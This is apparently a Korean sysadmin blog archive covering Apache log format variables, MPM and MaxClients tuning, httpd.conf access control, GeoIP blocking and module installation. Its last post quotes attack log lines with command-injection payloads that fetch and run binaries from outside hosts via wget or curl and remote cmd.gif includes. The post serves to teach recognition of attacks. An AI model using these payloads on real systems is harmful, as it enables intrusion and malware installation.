apache LogFormat에서 사용되는 %변수



































































































%a


원 격 IP-주소


%A


(서버) IP-주소


%B


HTTP 헤더를 제외한 전송 바이트수.


%b


HTTP 헤더를 제외한 전송 바이트수. CLF 형식과 같이 전송한 내용이 없는 경우 0 대신 '-'가 나온다.


%C


서 버가 수신한 요청에서 Foobar 쿠키의 내용.


%D


요청을 처리하는데 걸린 시간 (마이크로초 단위).


%e


환경변수 FOOBAR의 내용


%f


파일명


%h


원 격 호스트


%H


요청 프로토콜


%i


서버가 수신한 요청에서 Foobar: 헤더의 내용.


%l


(있 다면 identd가 제공한) 원격 로그인명. mod_ident가 있고 IdentityCheck On이 아니면 빼기기호를 기록한다.


%m


요청 메써드


%n


다른 모듈이 기록한 Foobar 노트(note) 내용.


%o


응 답의 Foobar: 헤더 내용.


%p


요청을 서비스하는 서버의 정규 포트


%P


요청을 서비스하는 자식의 프로세스 ID.


%P


요청을 서비스하는 자식의 프로세스 ID 혹은 쓰레드 ID. format에는 pid tid가 가능하다.


%q


질 의문자열 (질의문자열이 있다면 앞에 ?를 붙이고, 없다면 빈 문자열)


%r


요청의 첫번째 줄


%s


상 태(status). 내부 리다이렉션된 요청의 경우 *원래* 요청의 상태이다. 최종 요청의 상태는 %>s.


%t


common log format 시간 형식(표준 영어 형식)의 시간


%t


strftime(3) 형식 format의 시간. (지역시간일 수 있음)


%T


요청을 처리하는데 걸린 시간 (초 단위).


%u


원격 사용자 (auth가 제공하며, 상태(%s) 401인 경우 이상한 값을 나올 수 있음)


%U


질 의문자열을 제외한 요청 URL 경로.


%v


요청을 서비스한 서버의 정규 ServerName.


%V


UseCanonicalName 설정에 따른 서버명.


%X


응답을 마쳤을때 연결 상태.
X =
응답을 마치기 전에 연결이 끊어졌다.
+ =
응답을 보낸후에도 연결이 살아있다(keep alive).
- =
응답을 보낸후 연결이 끊어졌다.


%I


요청과 헤더를 포함한 수신 바이트수로 0일 수 없다. 이를 사용하려면 mod_logio가 필요하다.


%O


헤더를 포함한 송신 바이트수로 0 없다. 이를 사용하려면 mod_logio 필요하다.





=====================================================================
출처 : http://sol9501.blog.me/70086719455

2013/09/16 13:55 2013/09/16 13:55
샤이 이 작성.

당신의 의견을 작성해 주세요.

아파치 errors 로그에 다음과 같은 메세지가 기록되며 아파치 종료가 되지 않거나 강제종료 등의 문제가 발생할 경우

[alert] (11)Resource temporarily unavailable: setuid: unable to change to uid: 99

자원이 일시적으로 사용 불가능함


아파치 mpm 의 MaxClients 설정 등으로 인해 특정 uid (ex:nobody) 의 서버 프로세스가 시스템의 허용 수를
초과 하였는지 의심해 볼 수 있습니다.

특정 사용자의 사용가능한 프로세스의 최대갯수 제한

확인 :
ulimit -u

설정:
ulimit -u 2048

ulimit 설정은 현재 세션에서만 적용 되며 기본값을 변경하기 위해서는 /etc/security/limits.conf 파일에 다음과 같이 등록하면 됩니다.

(사용자) (soft or hard or all) (옵션) (값)
*                -      nofile          2048
root             -      nproc           2048

2013/01/29 17:50 2013/01/29 17:50
샤이 이 작성.

당신의 의견을 작성해 주세요.

1.OS 튜닝과 마찬가지로, 웹 서버도 튜닝작업을 수행한다고 해서 웹 서버가 지니고 있는 성능이 2~3배 이상 향상되는 일은 없다.

어디까지나 본래 지니고 있는 서버의 성능을 충분히 발휘할 수 있도록 조정하는 것이 튜닝 작업이다.

2.웹 서버 병목현상

과부하로 웹 서버가 응답을 제대로 반환하지 못할 경우, 그원인이 되는 것은 웹 서버의 설정과는 관계없는 것이 대분분이다.

웹 서버는 비교적 안정된 소프트웨어로, 자체만으로는 시스템에 부하를 유발하는 소프트웨어는 아니다.

드러난 웹서버의 응답불능상태의 원인을 이 웹 서버에 있다고 할 수는 없다. 열이 나고 있다고 해서 해열하는 것만으로는 병이 낫지 않는 것과 마찬가지다.

이 상황에서는 아무리 아파치 설정을 만진다고 해도 그 외의 부분에서 문제가 발생하고 있는 이상. 의미가 없다는 것을 의색해야 한다.

아파치 설정을 변경하면서 상태를 살펴보는 대책이 아닌, 장애 원인을 찾기 위한 지식이 가장 중요하다.

[추측하지 말고 계산하라]

문제의 상당수는 ps나 sar,vmstat등의 툴을 사용하면 파악할 수 있다.

한편 "하드웨어나 OS가 충분히 성능을 발휘할 수 있는 상태" 이면서 "부하가 큰 상황"에서, 웹 서버의 설정으로 족쇄가 되는 항목은 분명히 있다.

3. 아파치의 병렬처리와 [MPM-mulity processing module]

아파치를 비롯하여 불특정 다수의 클라이언트에 공개된 네트워크 서버는 동시에 복수의 클라이언트로부터 접속되더라도 계속해서 처리할 수 있도록 병렬처리를 수행할 필요가 있다.

병렬처리를 수행하지 않는 서버에서는 특정 클라이엍느가 접속해서 서버와 입출력을 하고 있는 동안, 다른 클라이언트 서버에 접속할 수가 없다.

특히 아파치를 시작으로 하는 웹 서버는 얼마나 많은 다수의 접속을 동시에 처리할 수 있는가가 성능의 기준이 되는 소프트웨어이므로, 병렬처리의 구현이 서버의 성능에 미치는 영향이 상당히 크다고 할 수 있다.

*병렬처리의 구현 모델

- 프로세스를 여려 개 생성해서 병렬처리를 실현하는 멀티 프로세스 모델 [prefork]

- 프로세스가 아니라 보다 경량의 실행단위인 쓰레드를 사용하는 멀티 쓰레드 모델 [Worker]

- 입출력을 감시해서 이벤트가 발샣아는 타이밍에 처리를 전환하는, 시그널 쓰레드로 병렬처리하는 이벤트 구동 모델 [event MPM-실험모듈]

4. prefork와 worker, 프로세스와 쓰레드

- prefork

: 기본적으로 프로세스간에 메모리를 직접 공유하지는 않는다. 메모리 공간이 독립해 있으므로 안전하다.

: 안전지향, 후방호환성이 높은 MPM

- worker

: 멀티쓰레드에서는 메모리 공간 전체를 복수의 쓰레드가 공유하므로, 리소스 경합이 발생하지 않도록 주의할 필요가 있다. 이것이 멀티쓰레드 프로그래밍이 복잡하다고 하는 이유다.

: 확장성이 높은 MPM

mod_perl을 worker로 작동시킬 경우에는 펄이 ithreads로 쓰레드를 생성한다. 펄의 쓰레드 구현은 다소 특수하기 때문에, prefork로 작동시킨 경우와는 다소 사양의 차이가 있다. 이를 꺼려해서 prefork를 선택하는 사용자가 많을 수 있다.

5. 성능관점에서 본 멀티프로세스/멀티쓰레드의 차이

일반적으로 멀티프로세스 보다 멀티쓰레드 방식이 가볍고 더 빠르다고 한다. 주된 이유는 다음 두가지다.

- 복수의 메모리 공간을 각각 지닌 멀티프로세스보다 메모리 공간을 공유하는 멀티쓰레드쪽이 메모리 소비량이 적다.

- 멀티쓰레드는 메모리 공간을 공유하고 있으므로, 쓰레드 전환에 걸리는 비용이 더 적다.

실제 아파치를 이용함에 있어서는 어떨까.

메모리 소비에 관해서는 실제 멀티쓰레드를 이용한느 worker에 손이 올라간다.

다만, prefork방식에서도 멀티프로세스의 부보 자식 프로세스에서 갱신이 되지 않는 메모리 공간은 공유되므로(실질적으로 초반에는 70%이상 메모리 공유가 있다), 현저한 차이가 나는 것은 아니다.

또 한가지는 "컨텍스트 스위치" 비용의 차다.

멀티태스킹 OS는 서로 다른 처리를 수행하는 처리단위로 프로세스/쓰레드를 짧은 시간에 전환하여 병렬처리를 실현하고 있다.

이 때의 프로세스/쓰레드 전환처리를 "컨텍스트 스위치"라고 한다.

따라서 멀티쓰레드방식인 worker는 메모리 공간을 공유하기 때문에 메모리 공간의 전환처리는 생략할 수 있고, 이는 이에 발생되는 CPU상의 메모리 캐시를 사용하지 않고 그대로 유지할 수 있게 하므로 성능에 미치는 영향은 현저하다고 할 수 있다.

->정리

- prefork를 worker로 변경하더라도 하나의 클라이언트에 대한 응답시간이 고속화되는 것은 아니다.

- prefork를 worker로 변경하더라도 메모리가 충반하다면 동시에 처리할 수 있는 접속 수는 변하지 않는다.

- prefork를 worker로 변경하더라도 대량의 컨텍스트 스위치가 없다면(동시에 병렬적으로 대량의 액세스가 없다면)효과는 크지 않다.

"prefork를 worker로 변경했더라도 성능이 개선되는 상황은 제한되어 있다."

"메모리 용량이 크지 않거나 소비량을 줄이고자 할 경우, 컨텍스트 스위치 횟수가 많아서(대량의 액세스) CPU의 리소스를 줄이고자 할 경우 worker 방식으로의 전환을 고려해 볼 필요가 있다"

6. 하나의 클라이언트에 대한 하나의 프로세스/쓰레드

둘의 공통점은, 아파치 클라이언트로부터 온 하나의 요청에 대해 기본적으로 하나의 프로세스 혹은 하나의 쓰레드를 할당해서 처리한다는 점이다.

즉 동시에 10개의 클라이언트로부터 요청이 있을 경우,10개의 프로세스 또는 10개의 쓰레드를 생성해서 응답한다.

따라서, 동시에 생성할 수 있는 프로세스/쓰레드 수가 아파치의 성능을 좌우하는 항목이 된다. 이러한 프로세스/쓰레드 수를 제어하는 설정항목의 최적화를 찾는 것이 아파치 튜닝의 핵심이라 할 수 있을 것이다.

7. httpd.conf 설정 - 아파치의 안전판 MaxClients

웹 서버는 "언제 어느 정도의 트래픽이 발생할지는 예상할 수 없다"는 점을 전제로 설계되어 있다.

그래서 아파치는 프로세스/쓰레드 수를 부하에 맞게 동적으로 제어하여 한다. 그러나 동적으로 제어한 결과가 머신의 리소스를 고갈시킬정도로 많은 프로세스/쓰레드를 생성하는 것이면 곤란하다.

이 때문에 안전판으로서, "동시에 접속할 수 있는 클라이언트 개수의 상한값"이 준비되어 있다. 이 안전판이 없다면 해당 시스템이 허용할 수 있는 수 이상의 요청이 동시에 몰려올 경우, 메모리를 다 써버려서 OS가 hang-up되거나 CPU사용률을 모두 점유해서 응답불가능 상태가 되는 치명적인 장애를 초래하게 된다.

오버 요청이 있을 경우 Maxclients는 다음 동작을 하게 된다.

-처리를 마치지 못한 용청에는 대기행렬내에서 일정시간 기다려 준다.

-대기행렬이 넘쳐날 듯 하면 해당 요청에 대해 에러를 반환해서 클라이언트로 응답을 돌려준다.

이로써 OS 자체가 hang-up되는 등의 쵝악의 사태를 피할 수 있게 된다.

이 상한값은 정적인 값이다. 머신이 지니고 있는 리소스에 맞게 수동으로 설정할 필요가 있다. 이 조정이 아파치 튜닝의 핵심이 된다. 반대로 이 외의 항목으로 성능에 영향을 미치는 것은 많지 않다.

prefork - MaxClients

prefork의 경우 안전판이 되는 것은 ServerLimit와 MaxClients 라는 두 가지 디렉티브로 설정된다. 둘 다 아파치가 생성하는 프로세스 수의 상한값이다.

-ServerLimit : 서버 수, 이를테면 프로세스 수의 상한

-MaxClients : 동시에 접속할 수 있는 클라이언트 수의 상한

본래는 위의 의미이지만 하나의 클라이언트를 하나의 프로세스에서 처리하므로 양자는 거의 같은 의미다. (같은 값으로 설정하면 된다.)

문제는 어느 정도의 값으로 설정하느냐인데, "이 값으로 해야 한다"라고 단정된 수치는 없다.

상한 수치를 계산하기 위해서는 다음 두 가지를 먼저 알아야 한다.

- 서버가 탑재되어 있는 물리 메모리의 양

-프로세스 하나당 평균 메모리 소비량

전자는 하드웨어 스펙을 참조하면 알 수 있다.(free 등의 명령)

후자는 ps나 top으로도 확인 가능하지만, proc 파일 시스템을 통해 조사해 보겠다.

cat /proc/프로세스 PID/status

[root@nehal-testweb1 proc]# cat /proc/27350/status
Name: httpd
State: S (sleeping)
SleepAVG: 98%
Tgid: 27350
Pid: 27350
PPid: 19888
TracerPid: 0
Uid: 99 99 99 99
Gid: -1 -1 -1 -1
FDSize: 64
Groups: -1
VmPeak: 160576 kB
VmSize: 160572 kB
VmLck: 0 kB
VmHWM: 14728 kB <- 해당 프로세스가 실제 사용하고 있는 메모리 영역의 크기가 된다.
VmRSS: 14724 kB
VmData: 10196 kB
VmStk: 84 kB
VmExe: 536 kB
VmLib: 15376 kB
VmPTE: 248 kB
StaBrk: 19d80000 kB
Brk: 1a70f000 kB
StaStk: 7fffe86b1f00 kB
Threads: 1
SigQ: 0/63488
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000001200
SigCgt: 000000018400446b
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
Cpus_allowed: 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00ffffff
Mems_allowed: 00000000,00000001
[root@nehal-testweb1 proc]#

언뜻 보면 이 VmHWM 값으로부터 httpd의 각 프로세스의 평균값을 구하면 될 것처럼 보인다.

예를 들면 VmHWM: 14728 kB 의 경우 평균 메모리사용량을 15MB로 계산하고, 서버 총 메모리를 4GB, OS 할당을 512MB로 잡았을 경우 MaxClients의 값은 230이 되게 된다.

ex)

4GB(총) - 0.5GB(OS) = 3.5G

3.5GB/0.15GB = 230

그러나 이것만으로는 판단재료가 불충분하다. 리눅스는 물리 메모리를 절약하기 위해 부모 프로세스와 자식 프로세스에서 일부 메모리를 공유한다. 이런 공유 메모리를 고려하면 보다 큰 값을 설정하는 것이 가능하다.

"카피 온 라이트" -부모/자식 프로세스간 메모리 공유

모든 프로세스에는 부모 프로세스가 있다. prefork인 아파치의 경우 하나의 특정 httpd 부모 프로세스가 우선 가동해서 복수의 httpd 자식 프로세스를 생성한다. 부모와 자식은 서로 독립된 메모리 공간을 실현하기 위해 fork에 동반해서 부모로부터 자식에게 메모리의 내용을 있는 그대로 복사하지만 이러한 복사 처리는 매우 비용이 높은 처리이다.

그래서 리눅스는 fork 단계에서 가상 메모리 공간에 매핑된 물리 메모리 영역은 복사하지 않고 부모와 자식간에 이를 공유한다.

이러한 공유는 부모 자식에게 가상 메모리 공간은 각각 마련해 주고, 각각의 메모릭 공간으로 부터 동일한 물리 메모리 영역을 매핑함으로써 실현된다.

부모 혹은 자식이 가상메모리에 대해 쓰기를 수행하면, 해당 쓰기 작업이 수행된 영역만 더 이상 공유할 수 없게 된다.

역으로 쓰기 작업이 수행되지 않은 메모리 영역은 항상 계속해서 공유되어 있을 수 있으며, 이에 따라 메모리상의 페이지 중복을 피해서 메모리를 효율적으로 이용할 수가 있다.

이런한 구조를 " Copy on Write" 라고 한다. "쓰기 작업시에 복사한다" 라는 의미다.

카피 온 라이트로 공유 메모리 사이즈 확인

MaxClients를 설정하려면 실제로 사용하고 있는 메모리 영역 내의 공유 물리 메모리 크기도 고려할 필요가 있다.

공유 메모리 영역은 /proc/프로세스PID/smaps 의 데이터 참조로 확인할 수 있지만, 데이터량이 많으므로 그 자체로는 어렵다.

============================================================================
출처 : http://joe0912.blog.me/60101396833

2013/01/29 17:14 2013/01/29 17:14
샤이 이 작성.

당신의 의견을 작성해 주세요.

아파치 멀티 프로세싱 모듈 옵션 설정 시

MaxClients를 256 이상 설정하기 위해서는 아파치 소스를 수정하고 컴파일 해야 한다는 걸로
알고 있는 경우가 많습니다.

아파치 2.x 버전 이상부터는 소스에 최대치가 20000 으로 설정이 되어 있기 때문에 20000 이하는
따로 소스를 수정하고 컴파일 할 필요가 없습니다.

사용시에는 ServerLimit값을 MaxClients 보다 먼저써야되고 크게 잡아줘야 됩니다.

ex) httpd-mpm.conf

<IfModule mpm_prefork_module>
    StartServers             500
    ServerLimit             2000
    MinSpareServers       500
    MaxSpareServers       700
    MaxClients              2000
    MaxRequestsPerChild  500
</IfModule>
2013/01/29 17:08 2013/01/29 17:08
샤이 이 작성.

당신의 의견을 작성해 주세요.

보안과 관련있는 httpd.conf 파일의 항목 분석


1) 먼저 httpd.conf에서 사용되는 태그를 살펴보자.


ㄱ. <Directory> ~ </Directory> : 현재 서버의 특정디렉토리를 지정할 때 쓴다.
ㄴ. <Location> ~ </Location> : 특정 서버를 지정할 때 쓴다.
ㄷ. <Files> ~ </Files> : 현재 서버의 특정파일을 지정할 때 쓴다.



2) 다음은 위 태그안에 사용될 수 있는 필드의 내용들이다.



2.1 options


* 사용법 : options <설정 내용>


* 설정 내용의 종류


ㄱ. All : MultiViews를 제외한 모든 옵션을 부여한다.(default 설정값이다.)
ㄴ. None : 옵션을 주지 않는다.
ㄷ. ExecCGI : CGI 프로그램을 실행할 수 있도록 한다.
ㄹ. FollowSymLinks : 심볼릭링크로의 이동을 가능하게 한다.
ㅁ. Includes : Server Side Includes를 가능하게 한다.
ㅂ. IncludesNOEXEC : Server Side Includes를 가능하게 하지만 exec는 사용 불가능.


ㅅ. Indexes : 해당 디렉토리안에 DirectoryIndex에 명기된 파일(예를 들면 index.html등)이


                없을 경우 디렉토리와 파일 목록을 보여준다.
ㅇ. MultiViews : 유사한 파일이름을 찾아주는 기능을 실행한다. 예를 들면 index라고만 입력하
                   더라도 index.*를 찾아서 보여준다.
ㅈ. SymLinksIfOwnerMatch: 사용자 아이디와 동일한 링크가 있을 때 심볼릭링크로의 이동을 가능
                                 하게 한다.



2.1 Override
이 항목은 클라이언트의 디렉토리 접근 제어에 관한 설정을 나타낸다. 예를 들면 특정 디렉토리에 접근할 때 해당 디렉토리에 있는 유저 인증파일인 .htaccess를 읽게 되는데, 여기를 None으로 설정하면 아파치서버에서 이 파일을 무시하게 된다.
* 사용법 : allow override <값>
* 값의 종류
None : Override를 사용하지않는다. 즉 유저 인증파일을 사용하지 않는다.
All : httpd.conf파일의 AccessFileName 지시자로 설정한 파일을 사용하며 또한 지시자를 사용
      할 수 있다.
AuthConfig : AccessFileName 지시자에 명시한 파일에 대해서 사용자 인증 지시자 사용을 허락
             한다. AuthDBMGroupFile, AuthDBMUserFile, AuthGroupFile, AuthName,
                AuthType, AuthUserFile, require등을 사용할 수 있다.
FileInfo : AccessFileName 지시자로 설정한 파일에 대해서 문서 유형을 제어하는 지시자 사용
           을 허락한다. AddEncoding, AddLanguage, AddType, DefaultType, ErrorDocument,
           LanguagePriority등을 사용할 수 있다.
Indexes : AccessFileName 지시자로 설정한 파일에 대해서 디렉토리 Indexing을 제어하는 지시
           자 사용을 허락한다. AddDescription, AddIcon, AddIconByEncoding, AddIconByType, 
           DefaultIcon, DirectoryIndex, FancyIndexing, HeaderName, IndexIgnore, IndexOpti
           ons, ReadmeName등을 사용할 수 있다.
Limit : AccessFileName 지시자로 설정한 파일에 대해서 호스트 접근을 제어하는 지시자 사용
        을 허락한다. Allow, Deny, order 등을 사용할 수 있다.
Options : AccessFileName 지시자에 명시한 파일에 대해서 Options 그리고 XBiHack 등과 같은
            지시자 사용을 허락한다. Options, XBitHack등을 사용할 수 있다.


2.3 order, allow, deny 지시어
아파치 1.3에서는 다음의 3가지 지시어를 사용하고 있다.
- order : allow와 deny중 우선순위를 결정한다.
- allow
- deny
 
아파치에서 적용하는 보안설정은 몇가지 범위로 나눠볼수 있다.
- 서버 설정 보안
- 사용자 인증
1) 기본 사용자 인증(패스워드 사용)
2) 호스트 도메인 or ip주소로 접근통제
3) 권한 부여
4) SSL/TLS 적용
- 로그관리및 보안패치
 
클라이언트가 사용하는 호스트의 IP주소나 도메인에 의해서 웹서버의 데이터에 대한 접근을 통제할 수 있다. 기본적인 서버 설정은 DocumentRoot의 내용에 대해 누구나 접속을 허락하도록 설정되어 있다. Apache의 "Allow"와 "Deny"지시자는 사용자 시스템의 호스트 이름과 호스트 주소를 근간으로 접속을 허락 또는 차단할 수 있도록 지정할 수 있다.
또한, "Allow"와 "Deny"지시자를 동시에 사용할 경우 그 순서를 정하는 "Order"지시자를 사용하여 보다 정교한 정책설정을 할 수 있다.
- 사용예
ㄱ. Order Deny,Allow : Deny지시자가 Allow지시자보다 먼저 검사된다. 접근을 기본적으로 허
                         용된다. 즉 Deny지시자나 Allow지시자에 일치하지 않는 클라이언트의
                         접속을 허용한다.
ㄴ. Order Allow,Deny : Allow지시자가 Deny지시자보다 먼저 검사된다. 접근을 기본적으로 차단
                           된다. 즉, Deny지시자나 Allow지시자에 일치하지 않는 클라이언트의 접
                           속은 차단한다.
ㄷ. Order Mutual-failure: Allow 리스트에 있고, Deny리스트에 없는 호스트만 접근을 허용한다.
                             순서는 "Allow,Deny"때와 같다.


(참고) 일반적인 Firewall이나 라우터의 접근통제 Rule은 순차적으로 비교하다가 최초로 일치하
는 Rule을 적용하고 그 이후는 비교하지 않지만, Apache에서는 Allow와 Deny를 일단 모두
비교하고 둘 중에 하나라도 일치할 경우 적용한다는 점에서 차이가 있다. 또한 "Order"
지시자 사용시 키워드(Allow 또는 Deny)는 콤마(,)에 의해서만 분리되고 공백이 들어가서         
는 안된다.

-------------------------------------------------------------------------------------------------------
출처 : http://cafe.naver.com/nsis/10608

2010/05/10 18:32 2010/05/10 18:32
샤이 이 작성.

당신의 의견을 작성해 주세요.

아파치에서 특정경로의 실행 파일을 실행할 수 없게 하는 설정


<Directory "/home/shy/public_html/upload/">
options includesNOEXEC
AddType application/x-httpd-php3 .php .php3
AddType application/x-httpd-php3-source .php .php3
</Directory> 

2010/05/10 11:51 2010/05/10 11:51
샤이 이 작성.

당신의 의견을 작성해 주세요.

아파치에 GeoIP 모듈 설치하는 방법


GeoIP 란 MaxMind 에서 제공하는 국가별로 IP를 확인할 수 있는 오픈소스 라이브러리로 이를 이용하여 서버에 접근 하는 아이피를 국가별로 관리할 수 있습니다.


http://www.maxmind.com


(1) GeoIP C API 설치하기


1.

- GeoIP C API를 다운 받아 설치 합니다.


http://geolite.maxmind.com/download/geoip/api/c/


#wget http://geolite.maxmind.com/download/geoip/api/c/GeoIP-1.4.6.tar.gz


2

- 압축을 해제 합니다.


#tar zxvf GeoIP-1.4.6.tar.gz


3.
- 해제된 디렉토리로 이동 후 설치 디렉토리를 지정하여 ./configure 합니다.


#cd GeoIP-1.4.6
#./configure --prefix=/usr/local/GeoIP


4.
- 컴파일 및 설치를 진행 합니다.


#make && make install


5.
GeoIP의 ip 목록을 최신정보로 갱신하기 위하여 GeoIP.dat 를 다운받아 설치된 위치에 복사 합니다.


- 국가 정보 다운로드


#wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz


- 도시 정보 다운로드


#wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz


- 압축 해제


#gzip -d GeoIP.dat.gz
#gzip -d GeoLiteCity.dat.gz


- 해제된 파일을 GeoIP가 설치된 위치에 덮어쓰기


#cp -a GeoIP.dat /usr/local/GeoIP/share/GeoIP/
#cp -a GeoLiteCity.dat /usr/local/GeoIP/share/GeoIP/


(2)
geoip모듈을 아파치에 설치하기.


1.mod_geoip를 다운 받습니다.


아파치 1.x 용


http://geolite.maxmind.com/download/geoip/api/mod_geoip/


아파치 2.x 용


http://geolite.maxmind.com/download/geoip/api/mod_geoip2/


ex)아파치 2.x용 다운로드


#wget http://geolite.maxmind.com/download/geoip/api/mod_geoip2/mod_geoip2_1.2.5.tar.gz


2

.
압축을 해제 합니다.


#tar zxvf mod_geoip2_1.2.5.tar.gz


3.
해제된 위치로 이동 후 c파일을 apxs를 이용하여 설치 합니다.


#cd mod_geoip2_1.2.5


#[아파치 apxs경로] -i -a -L[geoip설치디렉토리의lib경로] -I[geoip설치디렉토리의include경로] -lGeoIP -c [mod_geoip.c 경로] ## 옵션의 대소문자 주의 -lGeoIP = 소문자 l로 시작

#/usr/local/apache/bin/apxs -i -a -L/usr/local/GeoIP/lib -I/usr/local/GeoIP/include -lGeoIP -c /root/mod_geoip2_1.2.5/mod_geoip.c


4.
모듈이 정상적으로 설치,로드 되었는지 확인합니다.


#ls -al /usr/local/apache/modules/mod_geoip.so
-rwxr-xr-x 1 root root 38179  3월 26 13:16 /usr/local/apache/modules/mod_geoip.so


- httpd.conf 파일의 LoadModule 위치에 추가 되었는지 확인


LoadModule geoip_module       modules/mod_geoip.so


- phpinfo 페이지의 Apache Environment 정보에 GEOIP_CONTINENT_CODE, GEOIP_COUNTRY_CODE, GEOIP_COUNTRY_NAME 항목 확인


5.
httpd.conf에 mod_geoip 모듈의 적용 내용을 설정합니다.


특정 국가의 접근 차단


<IfModule mod_geoip.c>
    GeoIPEnable On
    GeoIPDBFile /usr/local/GeoIP/share/GeoIP/GeoIP.dat
    <Location /home>
           SetEnvIf GEOIP_COUNTRY_CODE CN go_out
           SetEnvIf GEOIP_COUNTRY_CODE RU go_out
           SetEnvIf GEOIP_COUNTRY_CODE TH go_out
           <Limit GET POST>
             Order Allow,Deny
             Allow from all
             Deny  from env=go_out
           </Limit>
    </Location>
</IfModule>


특정 국가에만 접근 허용


<IfModule mod_geoip.c>
    GeoIPEnable On
    GeoIPDBFile /usr/local/GeoIP/share/GeoIP/GeoIP.dat
    <Location /home>
          SetEnvIf GEOIP_COUNTRY_CODE KR go_in
           <Limit GET POST>
             Order Deny,Allow
             Deny from all
             Allow  from env=go_in
           </Limit>
    </Location>
</IfModule>

2010/03/26 14:29 2010/03/26 14:29
샤이 이 작성.

당신의 의견을 작성해 주세요.

동적운용(DSO)
아파치 설치 이후 필요한 third-part 모듈 확장이 필요한 경우 third-part 모듈만 따로 설치하여 사용


필요한 요청이 있을 경우에만 메모리에 적재 되므로 시스템 자원을 효율적으로 사용
클라이언트 요청시 필요한 모듈을 메모리에 적재를 해야하기 때문에 응답 속도가 약간 느림
(DSO 관련 문서인 Advantage&Disadvantage를 읽어보면 실제로 아파치 실행속도의 20%, 서버의 실행속도는 약 5%정도 느릴수 있음)



정적운용(Static)
third-part 모듈 함깨 아파치를 설치한 이후 사용


아파치가 실행하게 되면 모든 모듈을 메모리에 적재해놓는 방식으로 DSO 보다 응답 속도가 빠르다.
거의 사용되지 않은 모듈이 있다면, 시스템 자원을 낭비하므로 비효율적이다.
그리고 third-part 모듈이 필요한 경우 아파치를 재 컴파일 해야 한다는 단점있어, third-part 개발시 불편함이 따른다.



결론은 주로 사용되는 모듈은 정적모듈로 컴파일해놓고,
자주 사용되지 않는 것들은 동적모듈로 컴파일 한다.


동적으로 관리하게 되면, 효율적인 시스템 관리를 할수 있으며,
요즘 H/W의 성능이 우수해짐에 따라 DSO를 운영하는것이 대부분이다!

==============================================================
출처 : http://cafe.naver.com/kpserv.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=16

2010/02/10 16:15 2010/02/10 16:15
샤이 이 작성.

당신의 의견을 작성해 주세요.

아파치 재설치 없이 mod_rewrite 추가하기

아파치 설치 디렉토리에서 cd src/modules/standard
/usr/local/apache/bin/apxs -c -I/usr/include/gdbm mod_rewrite.c
gcc -shared -o mod_rewrite.so mod_rewrite.o
gcc -shared -o mod_rewrite.so mod_rewrite.o -lgdbm
/usr/local/apache/bin/apxs -i mod_rewrite.so


httpd.conf에 추가


LoadModule rewrite_module libexec/mod_rewrite.so
AddModule mod_rewrite.c


apachectl configt 및 restart

2009/04/11 10:27 2009/04/11 10:27
샤이 이 작성.

당신의 의견을 작성해 주세요.

  1. Comment RSS : http://www.worldwalker.co.kr/rss/comment/23
  2. Comment ATOM : http://www.worldwalker.co.kr/atom/comment/23
  3. 2009/04/22 17:33  편집/삭제  댓글 작성  댓글 주소

    패스워드 일괄 변경 방법

    #!/bin/sh

    USER_LIST="계정1 계정2 계정3......"

    NEW_PASSWD="변경될 패스워드"

    for USER in $USER_LIST
    do
    echo "$NEW_PASSWD" | passwd $USER --stdin
    done


아파치 로그에 기록되는 공격관련 로그 출처=linuxqna.com


1. 웹로그 분석툴 AWStats의 취약점을 이용한 공격


203.194.xxx.xx - - [17/Jan/2006:02:09:04 +0900] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e55%2e168%2e25%2fkillop%3bchmod%20%2bx%20killop%3b%2e%2fkillop;echo%20YYY;echo|  HTTP/1.1" 404 0



2. PHP용 XML-RPC의 Remote Code Injection 취약점을 이용한 공격


203.194.xxx.xx - - [17/Jan/2006:02:09:09 +0900] "POST /xmlrpc.php HTTP/1.1" 404 0
203.194.xxx.xx - - [17/Jan/2006:02:09:10 +0900] "POST /blog/xmlrpc.php HTTP/1.1" 404 0
203.194.xxx.xx - - [17/Jan/2006:02:09:11 +0900] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 0



3. XML-RPC 취약점을 이용한 공격 2
218.232.96.150 - - [20/Feb/2006:02:39:20 +0900] "GET /x0x0x0x0x0x0x0x0x0/ThisFileMustNotExist HTTP/1.0" 404 0 "-"
218.232.96.150 - - [20/Feb/2006:02:39:20 +0900] "GET /adxmlrpc.php HTTP/1.0" 404 0 "-"
218.232.96.150 - - [20/Feb/2006:02:39:20 +0900] "GET /adserver/adxmlrpc.php HTTP/1.0" 404 0 "-"



4. Darryl Burgdorf Webhints 취약점을 이용한 공격


219.239.xxx.xx - - [20/Dec/2005:04:17:10 +0900] "GET /cgi-bin/includer.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS\"$IFS\"`62.101.193.244/lupii;chmod$IFS+x$IFS`echo$IFS\"$IFS\"`lupii;./lupii`echo$IFS\"$IFS\"`62.101.193.244| HTTP/1.1" 404 0



5. CMS 툴인 Mambo 취약점을 이용한 공격


213.203.xxx.xx - - [10/Jan/2006:17:59:50 +0900] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo|  HTTP\x01.1" 400 299  



================================================================================



1. Zeroboard의 zero_vote 테마의 취약점을 이용한 공격


211.42.x.x - - [02/Dec/2005:09:53:33 +0900] "GET //bbs/skin/zero_vote/error.php?dir=http://211.xxx.xxx.126/fbi.gif?&cmd=cd%20/tmp;curl%20-O%20211.xxx.xxx.126/tagg;perl%20tagg HTTP/1.1" 404 0



2. phpNuke 취약점을 이용한 공격


216.72.xxx.xxx - - [07/Jan/2006:09:44:59 +0900] "GET /Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://81.xxx.xxx.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.xxx.xxx.4/criman;chmod%20744%20criman;./criman;echo%20YYY;echo|  HTTP/1.1" 404 0



3. phpNuke/postNuke의 Coppermine 포토갤러리 모듈 취약점을 이용한 공격


